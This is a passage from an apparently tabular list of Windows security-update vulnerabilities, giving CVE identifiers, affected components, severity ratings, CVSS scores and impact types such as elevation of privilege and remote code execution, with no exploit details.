Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol 